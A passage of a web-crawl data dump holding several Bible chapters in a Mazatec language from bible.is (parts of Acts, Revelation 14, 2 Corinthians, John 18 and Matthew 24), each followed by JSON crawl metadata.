nga jè‑ró Jesús ra Nazaret 'tse̱, si̱ìxojen‑ró jè i̱ngo̱ ra̱kìi̱, ti̱'koa̱á si̱ìkaatjìya-ró‑la̱ kjoa̱ ra ijye nga‑ná koni 'sín nga tsakón‑ya‑ná Moisés ―kitsó xi̱ta̱ kìi̱. 15Nga'tsì xi̱ta̱ ra ya̱ títsa̱jna junta, 'kia̱ nga isko'án jè Esteban, 'koa̱á 'sín tsatsíjen‑la̱ i̱sén‑la̱ koni tsa 'tse̱ ìkja̱li̱.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/6","date":"2017-08-24T02:52:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886126027.91\/warc\/CC-MAIN-20170824024147-20170824044147-00377.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":462,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.383,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Xi komà i̱skan, kiskoòtsejèn, kìjtseè jè Orrè, nga síjnakixi̱ i̱sòn nindoò Sión ko̱ xi̱ta̱ xi jngoò sìndo̱ ko̱ ichán ñijòn jmiì ma‑ne xi tjít'aà i̱tjòn tjen‑la̱ 'ín‑la̱ Orrè ko̱ ts'e̱ Na̱'èn‑la̱. 2Ki'nchrè jngoò‑la̱ jta̱ xi ngajmiì nchrobá‑ne xi 'ñó tíhone koni ma nandá k'e̱ nga 'ñó maje, koni ma nga faáya‑la̱ ch'o̱n k'e̱ nga jye ts'iìn; k'oa̱á s'ín ki'nchrè‑la̱ koni tsà kjìn ma xi̱ta̱ xi síkjane ní'ñó arpa. 3Tína'yà jngoò‑la̱ sò xi̱tse̱ nga tíjnda nguixko̱n jè xi tíjnasòn íxi̱le̱ nga tíhotíxoma, ko̱ ya̱ nguixko̱n xi ñijòn ma‑ne xi títsa̱jnakon ko̱ ya̱ nguixko̱n jñà xi̱ta̱ jchínga. Ni̱yá xi ma‑la̱ seè jè sò xi tíjnda, ta jñà‑né xi jngoò sìndo̱ ko̱ ichán ñijòn jmiì ma‑ne, jñà xi jye itjokàjiìn kjo̱'in ya̱ i̱sò'nde. 4Jñà xi̱ta̱ koi, mìtsà íchjín tsibìtsa̱jnako̱, nguì tsjeè kisìjchá yijo‑la̱. Jñá‑né xi fì tji̱ngui‑la̱ Orrè ni̱ta̱ ñánda‑ne nga fì. Jñà‑né xi itjokàjiìn ítjòn kjo̱'in ngats'iì i̱t'aà ts'e̱ xi̱ta̱ xi tjín i̱sò'nde, mé‑ne nga ko̱ma ko̱nga̱tsja ítjòn‑ne Nainá ko̱ Orrè. 5Ni̱mé 'én ndiso kiìchja̱, ko̱ ni̱mé jé tjín‑la̱ nga nguixko̱n Nainá. 6Kìjtseè ìjngoaà àkja̱le̱ xi tsó'bajiìn i̱sén nga tífìko̱ 'én ndaà‑la̱ Nainá xi tjín ni̱ta̱ mé na̱chrjein‑ne nga ke̱èno̱jmí‑la̱ jñá xi̱ta̱ xi títsa̱jna i̱sò'nde, ngats'iì xi̱ta̱ xi tjín nga ìjngoò ìjngoò nangui, ngats'iì tje̱‑la̱ xi̱ta̱, ngats'iì xi̱ta̱ xi chja̱ ngats'iì 'én xi tjín, ko̱ ngats'iì xi̱ta̱ xi tjín nga ngats'iì na̱xa̱ndá xi tjín i̱sò'nde. 7'Ñó chja̱ kitsò: ―Jcha̱xkón Nainá, jeya ti̱kíjna; jye ijchò na̱chrjein‑la̱ nga koi̱ìndaàjiìn. Jcha̱xkón jè xi tsibíndaà ngajmiì, xi tsibíndaà nangui, xi tsibíndaà ndáchikon ko̱ ñánda tíbitjo nandá. 8Ìjngoò àkja̱le̱ kiìchja̱ xi kitsò: ―Jyeé kakaàngui, jyeé kakaàngui Babilonia, na̱xa̱ndá xi 'ñó je kji, jè xi bít'in‑la̱ na̱xa̱ndá xi tjín i̱sò'nde nga [kj'ei̱í nainá fìt'aà‑la̱] koni s'ín xi̱ta̱ k'e̱ nga kjoa̱chijngui s'ín. Koni s'ín kis'iìn, k'oa̱á ngaya‑la̱ koni tsà kisìch'i̱ yije xi̱ta̱ i̱sò'nde jè xán ts'e̱ kjoa̱chijngui‑la̱ xi tji̱ko̱ kjo̱jti‑la̱ Nainá. 9Ìjngoò àkja̱le̱ tsatsejèn xi ma‑ne jàn xi 'ñó chja̱ nga kitsò: ―Tsà yá xi skoe̱xkón jè cho̱ je xi ch'o kji ko̱ i̱sén xkósòn‑la̱, tsà ti̱koa̱ si̱t'aà chi̱ba̱‑la̱ i̱tjòn tjen‑la̱, o tsà tsja, 10Nainá tsjá‑la̱ kjo̱'in, k'oa̱á ngaya‑la̱ koni tsà vino skoí xi tji̱ko̱ kjoa̱jti‑la̱ Nainá. Nga jè sobà Nainá jyeé tsibíndaà jngoò chi̱tsín vino xi 'ñó kjaán mé‑ne nga ko̱kò‑ne kjoa̱jti‑la̱ nga s'e̱‑la̱ kjo̱'in i̱jiìn ni'ín azufre xi 'ñó tsjè títì. Tíkotsejèn àkja̱le̱ tsjeè ko̱ Orrè. 11Jè ni̱'ndi̱‑la̱ ts'e̱ kjo̱'in‑la̱, kjit'aá na̱chrjein ni̱ta̱ kjé‑ne nga ki̱tjomijìn. Mìkiì si̱ìkjáya ko̱ na̱chrjein ko̱ ni̱tje̱n jñà xi̱ta̱ xi jè cho̱ ts'e̱n ko̱ i̱sén xkósòn‑la̱ beèxkón, jñà xi ti̱koa̱ tjít'aà chi̱ba̱‑la̱ ko̱ 'ín‑la̱ jè cho̱ je xi ch'o kji. 12I̱íjndé nga mochjeén nga kàtachíkjoa̱‑la̱ ni̱ta̱ mé kjoa̱‑ne jñà xi̱ta̱‑la̱ Nainá xi síkitasòn kjo̱tíxoma‑la̱ ko̱ xi ndaà mokjeiín‑la̱ i̱t'aà ts'e̱ Jesús. 13Ki'nchrè ìjngoaà 'én xi ngajmiì inchrobà‑ne xi kitsò‑na: ―Chjí, tít'eiì xo̱jo̱n: \"Jñà na̱chrjein xi fì‑ìsa, mé tà ndaà‑la̱ jñà xi̱ta̱ xi ki̱yá nga mokjeiín‑la̱ i̱t'aà ts'e̱ Na̱'èn‑ná.\" K'oa̱á tsò Ini̱ma̱ Tsjeè‑la̱ Nainá: \"Kixi̱í kjoa̱, jñà xi̱ta̱ koi si̱ìkjáya‑né kjoa̱ ts'e̱ xá‑la̱; ján ngajmiì, jcha̱á‑la̱ ngats'iì kjoa̱ xi ndaà kis'iìn.\" 14K'e̱ nga kiskoòtsejèn, kìjtseè jngoaà ifi xi chroba kji, ya̱ i̱sò'nga ifi tíjna jngoò xi k'oa̱ kji koni ki'ndí‑la̱ xi̱ta̱. Jngoò corona xi nguì oro tjí'a sko̱, ko̱ jngoò ki̱cha̱ libá kjiya tsja xi 'ñó yijò kji. 15Ìjngoò àkja̱le̱ itjo ya̱ i̱'nde tsjeè‑la̱ Nainá xi 'ñó chja̱, kitsò‑la̱ jè xi tíjnasòn ifi: ―Tits'i̱i nga ti̱xákoi̱i ki̱cha̱ libá‑lè; ti̱chásoìn, ko̱ tíxkoí kóho̱tjín tsojmì tjè xi tjín i̱t'aà nangui nga jye kòjchá yije; ko̱ jyeé ijchò na̱chrjein‑la̱ nga sincháxkó. 16Jè xi tíjnasòn ifi, tsibíts'ia̱ko̱ ki̱cha̱ libá‑la̱ ya̱ i̱sòn nangui nga tsatesòn tsojmì tjè‑la̱ i̱sò'nde, i̱kjoàn chincháxkó. 17Ìjngoò àkja̱le̱ itjo ya̱ i̱'nde tsjeè‑la̱ Nainá xi kijna ngajmiì xi ti̱koa̱ ki̱cha̱ libá kjiya tsja xi 'ñó yijò kji. 18Ìjngoò àkja̱le̱ itjo‑ne i̱t'aà ími̱xa̱ tsjeè‑la̱ Nainá, jè xi síkinda̱ ni'ín. 'Ñó kiìchja̱‑la̱ jè àkja̱le̱ xi ki̱cha̱ libá kjiya tsja; kitsò‑la̱: ―Tits'i̱i nga ti̱xákoi̱i ki̱cha̱ libá‑lè xi 'ñó yijò kji; ti̱chát'eiì 'én‑la̱ jñà toò uva xi tjín i̱t'aà nangui, nga jñà toò‑la̱ jye kichji. 19Jè àkja̱le̱ tsibíts'ia̱ko̱ ki̱cha̱ libá‑la̱ nga tsatet'aà toò‑la̱ jñà yá uva; i̱kjoàn kisìkatsjoòya ya̱ ñánda nga ma binchanè toò uva. Kjoa̱ koi, jè okó kjoa̱jti‑la̱ Nainá. 20Mìtsà ya̱ i̱jiìn na̱xa̱ndá kisinè jñà toò uva; ján i̱ndiì na̱xa̱ndá kisinè; k'e̱ nga jye kisinè, jní itjo ñánda nga kisinè; 'ñó tse jní itjo skanda ijchò kangui‑la̱ kó kji 'nga tíjna freno xi tjí'a tso'ba kohòyo̱ ko̱ jàn sìndo̱ kilómetro tsangasòn.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/14","date":"2017-08-23T01:06:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886116921.70\/warc\/CC-MAIN-20170823000718-20170823020718-00457.warc.gz","language":"maa","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000066757202148}","num_words":716,"character_repetition_ratio":0.06,"word_repetition_ratio":0.003,"special_characters_ratio":0.223,"stopwords_ratio":0.299,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2Ti̱koa̱ bìtsi'bà‑nò k'e̱ nga kjíkon‑nò, jñò, ítjòn jchi̱bàya‑nò kjoa̱ xi tjín‑nò, mé‑ne k'e̱ nga kìjchoa, kì kiì bìnè‑náje̱n nga 'ñó kichjàkoa̱a jñà xi̱ta̱ xi k'oa̱s'ín nchitsò nga k'oa̱á s'ín titsa̱'nè‑je̱n koni s'ín xi ta̱xki̱ xi̱ta̱ i̱sò'nde. Ta̱nga 'a̱n, tìjna̱ ndaà‑ná nga ko̱jtikoa̱a jñà xi̱ta̱ xi chja̱jno‑naje̱n.\n2 Corintios 10:2\nFREE!\nOne App.\n1253 Languages.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/10\/2","date":"2017-08-22T17:42:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886112533.84\/warc\/CC-MAIN-20170822162608-20170822182608-00547.warc.gz","language":"maa","language_score":0.99994874,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9999487400054932}","num_words":51,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús k'e̱ nga jye o̱kitsò, i̱kjoàn itjo, kiìko̱ xi̱ta̱ xi kota'yàt'aà‑la̱ ján xijngoaà xa̱jngá nandá xi 'mì Cedrón. Ya̱ kijna jngoò i̱'nde ñánda kjìn ska̱ya tsojmì títje̱; ya̱á jahas'en‑jiìn Jesús ko̱ xi̱ta̱‑la̱. 2Judas, xi̱ta̱ xi si̱ìnga̱tsja Jesús i̱t'aà ts'e̱ xi̱ta̱ kondra̱‑la̱, jyeé beèxkon i̱'nde jè, nga Jesús, kjìn k'a ya̱ chixoñako̱ xi̱ta̱ xi kota'yàt'aà‑la̱ ya̱ i̱'nde jè. 3Judas, kjìn soldado ijchòko̱, tji̱ko̱ xi̱ta̱ xi síkinda̱ i̱ngo̱ xi jñà kisìkasén xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ fariseo; 'ya ni'ín linterna, 'ya ki̱cha̱ ndojò, 'ya ni'ín nicha. 4Jesús, nga jyeé tíjiìn yije‑la̱ kjoa̱ xi ko̱mat'in, ni̱to̱ón itjo, kitsò‑la̱: ―¿Yá xi binchaàtsjioò? 5Xi̱ta̱ koi, kitsò: ―Jè Jesús xi Nazaret i̱'nde‑la̱. Jesús kitsò‑la̱: ―'A̱n‑ná. Judas, xi̱ta̱ xi tísínga̱tsja Jesús, ti̱koa̱á ya̱ tsóbajiìn‑la̱. 6K'e̱ nga kitsò Jesús: \"'A̱n‑ná\", xi̱ta̱ koi, kiì‑ne íts'i̱n, chixòt'aà nangui. 7Jesús, ìjngoò k'a kiskònangui‑la̱ kitsò‑la̱: ―¿Yá xi binchaàtsjioò? Xi̱ta̱ koi kitsò: ―Jè Jesús xi Nazaret i̱'nde‑la̱. 8Kiìchja̱ Jesús, kitsò‑la̱: ―Jyeé, k'oa̱ tìxan‑nò, 'a̱n‑ná. Tsà 'a̱n binchaàtsji‑ná, tjiì'nde‑là jñà xi̱ta̱‑na̱ xi i'nga nga kàtjì‑ne. 9K'e̱ nga o̱kitsò Jesús, koií tsitasòn 'én xi jè kiìchja̱ k'e̱ nga kitsò: \"Na̱'èn, xi̱ta̱ xi ji̱ kits'iì‑ná, ni̱jngoò kichijà.\" 10Jè Simón Pedro, 'ya jngoò ki̱cha̱ ndojò; tsachrje; tsajà‑la̱ xi̱ta̱ xi 'mì Malco, xi̱ta̱ chi̱'nda‑la̱ no̱'miì ítjòn; tsatet'aà líká kixi̱‑la̱. 11Jesús kitsò‑la̱ jè Simón Pedro: ―Ti̱kájnatjò‑ne ki̱cha̱ ndojò‑lè. Tjaya‑ne chrjoa̱‑la̱. Jè kjoa̱ ts'e̱ kjo̱'in xi tsjá‑na̱ Na̱'èn‑na̱ koni s'ín mejèn‑la̱, ¿a mìtsà tjínè‑la̱ nga siìkitasoàn? 12Jñà xi̱ta̱ soldado ko̱ soldado ítjòn ko̱ xi̱ta̱ judío xi síkinda̱ i̱ngo̱ ítjòn, kitsobà'ñó Jesús, i̱kjoàn chinchá na'ñó. 13Ítjòn kiìko̱ ján ñánda tíjna ni'ya‑la̱ Anás, nga̱ níxáya‑la̱ ma jè Caifás xi no̱'miì ítjòn tíjna nó jè. 14Jè Caifás xi o̱kitsò‑la̱ jñà xi̱ta̱ judío nga kitsò‑la̱: Mochjeén‑né nga tà jngoò xi̱ta̱ kàtiyaàtjì‑la̱ na̱xa̱ndá. 15Simón Pedro tji̱ngui‑la̱ Jesús ko̱ ìjngoò sa̱ xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, jè xi beèxkon jè no̱'miì ítjòn, jahas'en‑ko̱ Jesús ya̱ ndi̱tsin ni'ya‑la̱ no̱'miì ítjòn. 16Ta̱nga jè Pedro, ján kiskoòñà ndi̱tsiaán; ya̱á tsibìjna xotjoa̱‑la̱ ni'ya. Jè xi̱ta̱‑la̱ Jesús xi ìjngoò, k'e̱é itjo ìjngoò k'a, kiìchja̱‑la̱ jè chjo̱ón xi síkinda̱ xotjoa̱‑la̱ ni'ya, i̱kjoàn kisìkas'en Pedro. 17Jè chjo̱ón xi síkinda̱ xotjoa̱‑la̱ ni'ya, kitsò‑la̱ Pedro: ―Ngaji̱, ¿a mìtsà ti̱koa̱ ya̱ chìta'yàt'aà‑la̱ xi̱ta̱ jè? Jè Pedro, kitsò: ―Majìn. 18Jñà xi̱ta̱ chi̱'nda ko̱ xi̱ta̱ xi síkinda̱ i̱ngo̱ nchat'aà‑la̱ ni'ín xi jñà tsibítse nga nchisíhiso‑la̱ yijo‑la̱ nga 'ñó 'nchán tíma. Jè Pedro ti̱koa̱ ya̱ síjna nga tísíhiso‑la̱ yijo‑la̱. 19Jè no̱'miì ítjòn tsibíts'ia̱ nga kiskònangui‑la̱ Jesús i̱t'aà ts'e̱ xi̱ta̱ xi kota'yàt'aà‑la̱ ko̱ i̱t'aà ts'e̱ 'én xi okóya. 20Kiìchja̱ Jesús kitsò‑la̱: ―'A̱n, kichjàjiìn osen‑la̱ xi̱ta̱ nga tíjtsa i̱sò'nde. Kjit'aà na̱chrjein tsakoòya ya̱ ni'ya i̱ngo̱ sinagoga ko̱ ya̱ ndi̱tsin i̱ngo̱ ítjòn ñánda bixoña yije xi̱ta̱ judío. Ni̱mé 'én xi tìchjà 'ma. 21¿Mé‑ne 'a̱n chjinangui‑ná? Jñà chji̱nangui‑la̱ xi̱ta̱ xi kiì'nchré‑na, mé 'én xi tsakoòya‑la̱. Jñà xi̱ta̱ koi, ndaà tíjiìn‑la̱ kó kixan‑la̱. 22K'e̱ nga jye o̱kitsò Jesús, jngoò xi̱ta̱ xi síkinda̱ i̱ngo̱ ítjòn síjnat'aà chrañà‑la̱, kisìjts'iìn‑t'aà kjín Jesús, kitsò‑la̱: ―¿Mé‑ne ko̱tsò‑ne 'én xi nokjoàkoi̱i no̱'miì ítjòn? 23Jesús kiìchja̱ kitsò‑la̱: ―Tsà ch'o tsò 'én xi tìchjà, koa̱tìn‑ná, kó xán. Ta̱nga tsà ndaà tsò 'én xi tìchjà, ¿mé‑ne ti'bé‑ná? 24Nga k'oa̱s'ín tjít'aà'ñó Jesús, jè Anás kisìkasén ñánda tíjna jè Caifás jè xi no̱'miì ítjòn tíjna koi na̱chrjein. 25Jè Pedro ya̱ síjnat'aà‑la̱ ni'ín nga tísíhiso‑la̱ yijo‑la̱; jñà xi̱ta̱ koi kiskònangui‑la̱, kitsò‑la̱: ―Ngaji̱, ¿a mìtsà ti̱koa̱ ya̱ chìta'yàt'aà‑la̱ xi̱ta̱ jè? Jè Simón Pedro tsibìjna'ma, kitsò: ―Majìn, mì ya̱á kota'yàt'aà‑la̱. 26I̱kjoàn kiskònangui ìjngoò‑la̱ xi̱ta̱ chi̱'nda‑la̱ no̱'miì ítjòn; xíkjín ma xi̱ta̱ xi jè Pedro tsatet'aà líká‑la̱, kitsò‑la̱: ―Ngaji̱, ya̱á kijtseèxkon‑lè ko̱ Jesús ya̱ i̱'nde ñánda tjín tsojmì tjè. 27Jè Pedro, ìjngoò k'a tsibìjna'mat'in Jesús, i̱kjoàn ni̱to̱ón kiskindàya kóxtí. 28Kiìko̱‑ne Jesús ya̱ ni'ya‑la̱ Caifás skanda ján ni'ya osen ts'e̱ xi̱ta̱xá ítjòn ts'e̱ Roma. Nga jye tís'e i̱sén, jñà xi̱ta̱ judío mìkiì jahas'en ni'ya osen koni s'ín tjín kjo̱tíxoma‑la̱ nga majìn‑la̱ nga si̱ìkits'ón yijo‑la̱ mé‑ne ko̱ma ko̱kje̱n‑ne s'eí paxko̱. 29K'oa̱á komà‑ne nga itjo ni'ya osen jè Pilato, kiskònangui‑la̱ jñà xi̱ta̱ koi, kitsò‑la̱: ―¿Mé kjoa̱ xi ongui‑nò xi̱ta̱ jè? 30Jñà xi̱ta̱ judío kitsò: ―Tsà nìmé jé tjín‑la̱, mì‑la ji̱ titsa̱nìnga̱tsja‑lèje̱n. 31K'e̱é kitsò Pilato: ―Tanguíko̱o, jñò tìndaàjiìn‑là koni s'ín tjín kjo̱tíxoma‑nò. Jñà xi̱ta̱ judío kitsò: ―Ngaje̱n mìkiì tjí'nde‑naje̱n nga ta̱xki̱ si̱k'en jngoò‑je̱n xi̱ta̱. 32K'oa̱s'ín komà‑ne nga tsitasòn 'én xi kitsò Jesús k'e̱ nga tsibéno̱jmí kós'ín ko̱mat'in k'e̱ nga ki̱yá. 33Pilato, ìjngoò k'a jahas'en ni'ya osen, kiìchja̱‑la̱ Jesús, kitsò‑la̱: ―¿A ji̱‑né xi 'mì‑lè xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío? 34Kiìchja̱ Jesús, kitsò‑la̱: ―¿A tà kjo̱hítsjeèn tsi̱ji‑né nga k'oa̱ tisi, a xi kj'ei̱í xi̱ta̱á o̱kitsò‑lè i̱t'aà ts'a̱n? 35Pilato kitsò: ―'A̱n, mìtsà xi̱ta̱ judío‑ná. Jñà xi̱ta̱ na̱xa̱ndá‑lè ko̱ xi̱ta̱ sko̱‑la̱ no̱'miì, jñà xi kòfì sínga̱tsja‑na̱ i̱t'aà tsi̱ji. ¿Mé kjoa̱ xi chinchaàtsji? 36Kiìchja̱ Jesús kitsò: ―Mìtsà i̱ i̱sò'nde tjínè‑na nga kotiìxoma. Tsà k'oa̱á‑la s'ín tjín jñà xi̱ta̱‑na̱ ko̱si̱ko̱‑na nga mì ya̱ ko̱nga̱tsja ts'e̱ xi̱ta̱ judío. Ta̱nga mìtsà i̱ kotiìxoma. 37Pilato, ìjngoò k'a kiskònangui‑la̱ kitsò‑la̱: ―Ngaji̱, ¿a xi̱ta̱xá ítjòn 'mì‑lè? Kiìchja̱ Jesús kitsò: ―Ngaji̱í xi o̱si nga xi̱ta̱xá ítjòn 'mì‑na. Koií xá kits'iìn‑na ko̱ koií xá j'i̱‑na i̱ i̱sò'nde, mé‑ne nga kèno̱jmiá i̱t'aà ts'e̱ kjoa̱ kixi̱. Ngats'iì xi fìt'aà‑la̱ kjoa̱ kixi̱, 'nchré 'én‑na̱. 38Pilato kiskònangui, kitsò‑la̱: ―¿Mé‑né xi 'mì‑la̱ kjoa̱kixi̱? K'e̱ nga jye kiskònangui Pilato, ìjngoò k'a itjo ni'ya osen. Kiìkon xi̱ta̱ judío, kitsò‑la̱: ―Xi̱ta̱ jè, nìmé jé xi sakót'aà‑na i̱t'aà ts'e̱. 39Jñò, k'oa̱á s'ín tjín kjo̱tíxoma‑nò k'e̱ nga bitjo s'eí Paxko̱: bìjnandei̱í jngoò xi̱ta̱ xi nda̱yá títsa̱jna. ¿A mejèn‑nò nga kàtìjnandei̱í jè Xi̱ta̱xá Ítjòn‑la̱ xi̱ta̱ judío? 40Ìjngoò k'a 'ñó jchán kiìchja̱ kóho̱tjín xi̱ta̱ judío, kitsò: ―Majìn, jè Jesús, mìkiì kíjnandei̱í, jè Barrabás kíjnandei̱í. Ta̱nga jè Barrabás xi̱ta̱ chijé‑né.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/John\/18","date":"2017-08-23T16:52:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886120573.75\/warc\/CC-MAIN-20170823152006-20170823172006-00689.warc.gz","language":"maa","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000006914138794}","num_words":890,"character_repetition_ratio":0.082,"word_repetition_ratio":0.007,"special_characters_ratio":0.241,"stopwords_ratio":0.293,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús k'e̱ nga jye itjo‑ne i̱ngo̱ ítjòn, jyeé tífì nga ijchò kinchat'aà chrañà‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱. I̱kjoàn tsakó‑la̱ jè i̱ngo̱ ítjòn ko̱ ni'ya xi tjín‑la̱. 2Jesús kitsò‑la̱: ―¿A titsa̱chìtsejèn‑là ngats'iì ni'ya koi? O̱kixi̱í xi xan‑nò, nì ti̱ jngoò nda̱jo̱ si̱yijòsòn‑la̱ xíkjín. Ki̱xo̱ña yije‑né kóho̱tjín. 3Jesús, k'e̱ nga tíjna ya̱ nindoò Yá Olivo, ijchò kinchat'aà‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱ nga kiskònanguit'aàxìn‑la̱ kitsò‑la̱: ―Koa̱tìn‑náje̱n, ¿mé na̱chrjein‑ne nga o̱ko̱ma kjoa̱ koi? ¿Mé seña xi s'e̱ k'e̱ nga kjoi̱i ìjngoò k'a ko̱ k'e̱ nga kjoe̱het'aà i̱sò'nde? 4K'e̱é kitsò‑la̱ Jesús: ―Ti̱kinda̱a yijo‑nò nga mì yá xi̱ta̱ xi skóna̱cha̱n‑nò. 5Kjìn xi̱ta̱ kjoi̱í xi 'ín ts'a̱n si̱ìkjeén; ki̱tso̱: \"'A̱n‑ná xi Cristo, [nga 'a̱án kisìkasén‑na Nainá]\"; koa̱ kjìn xi̱ta̱ skóna̱cha̱n‑la̱. 6S'e̱ kjo̱jchán ñánda chrañàt'aà ko̱ ti̱koa̱ ki̱ná'ya‑la̱ kjoa̱ ts'e̱ kjo̱jchán ñánda kjiìn i̱'nde, ta̱nga jñò, kì tsakjoòn‑jèn. Xó k'oa̱á ko̱ma‑ne. Ta̱nga kj'eè tsà i̱sò'nde tífehet'aà. 7Na̱xa̱ndá ska̱àn‑kjoò xi kj'ei̱í na̱xa̱ndá. Koa̱ xi̱ta̱xá koi̱ìts'ia̱ nga ska̱àn‑kjoòko̱ xi̱ta̱xá xi kj'ei̱í na̱xa̱ndá. S'e̱ kjinchrá, s'e̱ ch'in, ko̱ k'oa̱ ch'ón nga xki̱ xi ján i̱'nde. 8Ngats'iì kjoa̱ koi, tà jè xi sa̱ tímats'ia̱ko̱ kjo̱'in. 9'Jñà xi̱ta̱ ski̱nìt'aà‑nò ts'e̱ xi̱ta̱xá nga tsjá‑nò kjo̱'in; si̱ìk'en‑nò. Ngats'iì xi̱ta̱ i̱sò'nde ko̱jtikeè‑nò koií kjoa̱‑la̱ nga 'a̱n onguít'aà‑ná. 10Jè na̱chrjein koi, kjìn ko̱ma xi mì kiì ti̱ ko̱kjeiín‑la̱ i̱t'aà ts'a̱n. Ti̱jñà ko̱ótjinè‑ne xíkjín xi̱ta̱ ko̱ tsjénguikeè xíkjín. 11Kjìn xi̱ta̱ s'e̱ xi xi̱ta̱ ndiso xi ki̱tso̱ nga Nainá chja̱ ngajo‑la̱. Ti̱koa̱á kjìn xi̱ta̱ skóna̱cha̱n‑la̱. 12Ndaà jchán s'e̱ kjoa̱ts'e̱n; skanda mì ti̱ kiì ko̱tsjakeè‑ne xíkjín xi̱ta̱. 13Ta̱nga jè xi kixi̱ kíjnako̱ kjoa̱ xi mokjeiín‑la̱ skanda k'e̱ nga kjoe̱het'aà‑ne kjoa̱, jè xi ki̱tjokàjiìn kjo̱'in. 14Koa̱ jè 'én ndaà‑la̱ Nainá koni s'ín otíxoma Nainá, ko̱bísòn yije‑né nga tíjtsa i̱sò'nde mé‑ne nga kji̱'nchré‑ne ngats'iì xi̱ta̱ na̱xa̱ndá; i̱kjoàn k'e̱é kjoe̱het'aà i̱sò'nde. 15'K'e̱ nga jcha̱a nga 'ñó ch'o tíma ya̱ I̱'nde Tsjeè‑la̱ Nainá, koií kjoa̱ tíbitasòn koni s'ín kiskiì Daniel, xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. (Kàtasijiìn‑la̱ jñà xi̱ta̱ xi bíxke̱ xo̱jo̱n jé.) 16Jñò, k'e̱ nga jcha̱a kjoa̱ koi, jñà xi̱ta̱ xi títsa̱jna Judea, kàtanga, kàtjì ñánda nindoò choòn. 17Jè xi tíjnasò'nga ni'ya‑la̱, kì ti̱ kiì fahas'en‑ne ni'ya nga skoé tsojmì‑la̱. 18Jè xi tísíxájiìn nangui‑la̱, kì ti̱ kì nchrobá‑ne nga nchrohókjá nikje‑la̱. 19¡I̱ma̱ xó‑ne jñà íchjín xi ki'ndí 'ya ko̱ xi i̱xti xó nchisíkaki jñà na̱chrjein koi! 20Ti̱jét'aà‑là Nainá mé‑ne nga mì k'e̱é ki̱yó‑nò k'e̱ nga na̱chrjein‑la̱ cho̱ 'nchán ko̱ k'e̱ nga na̱chrjein nìkjáya. 21Jñà na̱chrjein koi, tseé kjo̱'in s'e̱; kj'eè kiì k'oa̱ ma skanda tje̱n‑ne nga kisindaà i̱sò'nde. Koa̱ mì ti̱ kiì o̱ko̱ma‑ne nga ko̱ma i̱skan. 22Tsà mì k'oa̱á ki̱tso̱ Nainá nga ìsa̱ chiba na̱chrjein s'e̱ kjo̱'in ni̱jngoò xi̱ta̱ ki̱tjokàjiìn kjo̱'in. Ta̱nga koií kjoa̱‑la̱ jñà xi̱ta̱ xi xó jaàjiìn‑ne Nainá, ìsa̱ chiba na̱chrjein s'e̱ kjo̱'in. 23'K'e̱ nga tsà yá xi̱ta̱ xi ki̱tso̱‑nò: \"¡Chítsejèn‑là i̱í tíjna Cristo [xi̱ta̱ xi xó kisìkasén‑ne Nainá]!\", o tsà ki̱tso̱‑nò: \"¡Ján tíjna ján!\", kì kiì mokjeiín‑nò. 24Kjoi̱í xi̱ta̱ ndiso xi Cristo ki̱tso̱‑la̱ yijo‑la̱, ti̱koa̱á kjoi̱í xi̱ta̱ xi koa̱ ti ki̱tso̱ nga jñà xi chja̱ ngajo‑la̱ Nainá. K'oa̱á ti̱s'ín ko̱kò seña ko̱ kjo̱xkón xi ndaà tjín nga skóna̱cha̱n. Skanda jñà xi̱ta̱ xi jye jaàjiìn Nainá mejèn skóna̱cha̱n‑la̱ tsà ko̱kjeiín‑la̱. 25Kangui na̱chrjeiín tìbeno̱jmíya yije‑nò kjoa̱ xi ko̱ma i̱skan. 26Tsà yá xi̱ta̱ xi ki̱tso̱‑nò: \"¡Chítsejèn‑là ya̱á tíjna Cristo ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn!\", kì kiì onguió; ko̱ tsà ki̱tso̱‑nò: \"¡Ya̱á tíjnaya i̱nga ni'ya!\", ti̱koa̱á kì kiì mokjeiín‑nò. 27Koni ma ni'ín ch'o̱n k'e̱ nga ote ñánda bitjokàtji‑ne ts'oí skanda ñánda okaàtjì‑ne, k'oa̱á s'ín ko̱ma k'e̱ nga kjoia̱a ìjngoò k'a xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱. 28Ya̱ ñánda kijna mik'en, ya̱á kítsa̱jnajtín jñà líké. 